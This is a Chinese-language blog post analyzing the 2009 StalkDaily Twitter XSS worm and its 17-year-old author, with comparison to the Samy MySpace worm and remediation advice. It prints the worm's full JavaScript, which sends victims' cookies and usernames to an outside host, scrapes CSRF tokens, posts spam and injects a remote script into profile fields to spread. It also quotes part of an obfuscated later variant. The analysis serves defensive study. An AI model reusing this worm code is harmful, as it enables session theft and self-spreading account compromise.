17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的

# 鬼仔:简体中文版请看这里

来源:阿碼外傳

昨天晚上開始,twitter上以驚人的速度,不斷有人抱怨被「我被StalkDaily蠕蟲攻擊了!」Twitter很紅的介面之一TweetVisor也在畫面左邊顯示警告:

search_twitter_stalk_750

tweetvisor_750
不久之後,twitter公佈,這是twitter的跨站腳本攻擊(cross-site scripting,XSS)漏洞所導致的,目前已經將漏洞修掉了:

twitter_status_750

事發初期,TechCrunch有報導(很少資安新聞能夠上TechCrunch),並有網友留言公開原始XSS蠕蟲之程式碼如下:

function XHConn()
{
  var xmlhttp, bComplete = false;
  try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
  catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
  catch (e) { try { xmlhttp = new XMLHttpRequest(); }
  catch (e) { xmlhttp = false; }}}
  if (!xmlhttp) return null;
  this.connect = function(sURL, sMethod, sVars, fnDone)
  {
    if (!xmlhttp) return false;
    bComplete = false;
    sMethod = sMethod.toUpperCase();
    try {
      if (sMethod == "GET")
      {
        xmlhttp.open(sMethod, sURL+"?"+sVars, true);
        sVars = "";
      }
      else
      {
        xmlhttp.open(sMethod, sURL, true);
        xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
        xmlhttp.setRequestHeader("Content-Type",
          "application/x-www-form-urlencoded");
      }
      xmlhttp.onreadystatechange = function(){
        if (xmlhttp.readyState == 4 && !bComplete)
        {
          bComplete = true;
          fnDone(xmlhttp);
        }};
      xmlhttp.send(sVars);
    }
    catch(z) { return false; }
    return true;
  };
  return this;
}

function urlencode( str ) {
    var histogram = {}, tmp_arr = [];
    var ret = str.toString();

    var replacer = function(search, replace, str) {
        var tmp_arr = [];
        tmp_arr = str.split(search);
        return tmp_arr.join(replace);
    };

    histogram["'"] = '%27';
    histogram['('] = '%28';
    histogram[')'] = '%29';
    histogram['*'] = '%2A';
    histogram['~'] = '%7E';
    histogram['!'] = '%21';
    histogram['%20'] = '+';

    ret = encodeURIComponent(ret);

    for (search in histogram) {
        replace = histogram[search];
        ret = replacer(search, replace, ret)
    }

    return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
        return "%"+m2.toUpperCase();
    });

    return ret;
}

var content = document.documentElement.innerHTML;
userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];

var cookie;
cookie = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>");
document.write("<img src='http://stalkdaily.com/log.gif'>");

function wait()
{
  var content = document.documentElement.innerHTML;

  authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
  var authtoken = authreg.exec(content);
  authtoken = authtoken[1];
  //alert(authtoken);

  var Randomupdate=new Array();
  randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
  randomUpdate[1]="Join www.StalkDaily.com everyone!";
  randomUpdate[2]="Woooo, www.StalkDaily.com :)";
  randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
  randomUpdate[4]="Wow...www.StalkDaily.com";
  randomUpdate[5]="@twitter www.StalkDaily.com";

  var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];

  updateEncode = urlencode(genRand);

  var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

  var ajaxConn = new XHConn();
  ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&supdates="+updateEncode+"&tab=home&update=update");
  var ajaxConn1 = new XHConn();
  ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
}
setTimeout("wait()",3250);

這 隻蠕蟲利用了twitter的XSS漏洞,感染twitter使用者profile的「location」或「web」欄位,寫入惡意 javascript(來源:hxxp://http://mikeyylolz.uuuq.com/x.js)。這隻javascript一方面會已被 感染之使用者帳號發出tweet,推「www.stalkdaily.com」這個網站,一方面則會在其他使用者瀏覽該profile時,成功感染並散 播。

程式碼很短,我們來研究一下,重點從第73行開始。73-76行,利用regex找出該受害使用者之正確twitter帳號。 78-80行,會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com,成功盜取使用者登入資訊,以後攻擊者可以利用此資訊以受害 者身份登入。
接下來攻擊程式就要透過twitter的HTTP POST介面來修改使用者之「web」欄位,插入惡意javascript,以感染其他使用者了。83行開始是一個wait()函式,要過三秒後才會執 行。85-89行利用regex找出「form_authenticity_token」這個表單變數。Twitter使用該隱藏之表單變數來對應 session,應該有避免CSRF漏洞之用意。所以呼叫twitter的HTTP POST介面時,都需要帶此變數。93-102行,內建了六個要以受害者名義發出之tweet,主要都是推「www.stalkdaily.com」這個 網站,並隨機選一個tweet,準備發送。104行是實際的XSS攻擊碼,插入惡意javascript。106-109,四行的程式做了兩件事:a)透 過twitter的HTTP POST介面,發出假tweet,以及b)同法,修改「web」,以便感染其他使用者。

我們複製該攻擊,並用paros觀察,確定可以成功,唯目前twitter已經將字串過濾,有效修補了此XSS漏洞:

post_750_annotated

paros2_annotated

這 個攻擊不需要特殊的權限才能進行。攻擊者可以先註冊幾個twitter帳號,並在該帳號之「web」欄位插入惡意javascript,並藉由該帳號發出 一些吸引人之tweet,或開始跟隨別人。很多人會自動跟隨他們的跟隨者,所以你跟隨很多人之後,會自然有些人跟隨你,或至少會有人看一下你的 profile,看看你是誰。一看你的profile,該使用者的「web」欄位就會被感染了,蠕蟲也就靠此散播。

根據網友在TechCrunch留言表示,該XSS漏洞於一星期前仍不存在,應該是最近twitter小幅改版造成的,沒想到很快就遭到利用。事發當初,StalkDaily於首頁上發表聲明,表示該站絕對與事件無關:

stalk_daily_750

但是由於一下子感染太多人,一下子紙包不住火,很快地,StalkDaily的創辦人,17歲的Mikeyy Mooney就接受BNOnews採訪,承認是他寫的蠕蟲,同時也在網站登出了聲明:

stalk_admid_750

報導中說,Mikeyy才17歲。這個事件當然讓我們想到了著名的Samy。 2005年,當時才19歲的Samy,也是寫了一隻類似(但較複雜)的蠕蟲,很快的在MySpace上散播,並因為散播太快而導致MySpace當機。 Samy當時被美國秘密警察逮捕,判三年緩刑與90天的社區服務。在OWASP US 2007會議上,OWASP有邀請Samy來演講,以下照片是演講完時Samy與阿碼同事討論的情形(上圖從左:阿碼Walter、Kuon、 Jordan、Chris、Matt,白色衣服為Samy,下圖:阿碼Kuon送Samy一件armorize 31337 tshirt)。
samy_armorize
samy2
Samy 表示,那時他才19歲,為了跟女友打賭他可以在MySpace上擁有很多粉絲,將他設成英雄(Hero),但是又達不到,才突然想到不如寫隻程式作弊好 了!當時Samy不懂資安,也不懂什麼是XSS弱點,只是稍微研究了一下MySpace,就發現有漏洞可以利用。蠕蟲出去後,很快地,Samy有了支持 者,他們的profile上面加了一行:「Samy’s my hero!(Samy是我的英雄)」。Samy得意了以後一想不對,這個蠕蟲的散播是exponential的,不是linear的,天哪!於是他趕快上 MySpace,把自己的帳號刪除,但是結果發現MySpace說,帳號無法立即刪除,但是稍後會刪除。第二天起床,他連往自己的帳號,連不到,心想,好 在好在,帳號刪除了,我沒事…但是結果連往女友的帳號,發現也連不上,後來發現所有朋友的帳號都連不上…原來MySpace當機了!Samy從此 活在恐懼中,直到有一天,果然,他回家,就被秘密警察逮捕了。

Samy的並沒有被判很重的刑,因為他其實不懂資安,也沒有利用XSS弱點 來偷別人的帳號,只是單純的把別人的帳號加了一行:Samy是我的英雄,並植入惡意javascript感染他人。當時他演講時,還是不能碰電腦的(只有 工作時可以碰電腦),所以由OWASP工作人員幫他操作投影片。

這次Mikeyy Mooney比Samy更年輕,只有17歲,但是如果被逮捕,可能不一定這麼好過,因為程式碼中之地80行,明顯地是在偷他人的帳號與cookie,並回傳至自己的網站。住在紐約的Mikkey在之後的Net News Daily訪問中表示, 他是於一個星期前發現該XSS漏洞,並於昨晚花了兩個小時寫出了此蠕蟲。在被問到還會不會寫新的蠕蟲時,他表示不確定,如果twitter的程式還不正確 的處理變數,那就有可能。相對於那時純粹出於好玩而犯錯的Samy,Mikeyy的這些談話,加上剛才我在youtube上發現他之前就有把打其他站的過 程上傳,我覺得…Mikeyy最好保重,我不認為法官會像Samy一樣處理Mikeyy,也不覺得大家會那麼容易像原諒Samy一樣原諒 Mikeyy。

此外,根據蒐集的資料,Mikeyy後來也將該惡意javascript編碼,譬如以下tweet的回報:

obfus

解出來為content.ireel.com/xssjs.js,目前檔案還在,內容節錄如下:

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

單純16進位編碼,不是什麼特殊的混碼(obfuscation),解出來程式跟上面的大同小異。
此外,根據蒐集的資料,twitter很明顯地在不只一個欄位有XSS漏洞,而Mikeyy也成功利用了其他欄位。twitter不見得能找到所有含有XSS漏洞的程式碼,再加上Mikeyy表示不一定就此罷手,故往後仍有一些風險。

結論:
1. 受感染之Twitter使用者會發出tweet,幫StalkDaily打廣告
2. 受感染之Twitter使用者會遭受惡意javascript偷帳號與cookie(等同密碼)
3. 瀏覽受感染使用者之profile,就會被感染,並被偷密碼
4. Twitter已經承認該蠕蟲為利用Twitter之XSS漏洞,並已經修復漏洞
5. 我們測試,攻擊確實為有效攻擊
6. 負責傳播惡意javascript程式的網址目前已知有:
A. mikeyylolz.uuuq.com (已被停用)
B. content.ireel.com(還在)
C. omghax.uuuq.com(已被停用)
D. www.stalkdaily.com
E. bambamyo.110mb.com

建議被感染之使用者:
1. 登出twitter,清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔,通常在C:\Windows\System32\drivers\etc或類似目錄下,並加入以下五行,可以防止瀏覽器下載該惡意javascript:
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com

3. 可考慮利用firefox的noscript外掛,避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正(profile關閉者注意是否有被打開)

觀察:
1. 過了三年,從Samy到Mikeyy,XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲,花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞

作者 Wayne 為阿碼科技CEO

相关日志

楼被抢了 2 层了... 抢座Rss 2.0或者 Trackback

  • 民国

    博主,为什么你的图片现在可以外联显示了啊

  • 9

    在CH 就没这么幸运了,估计要进去10年

发表评论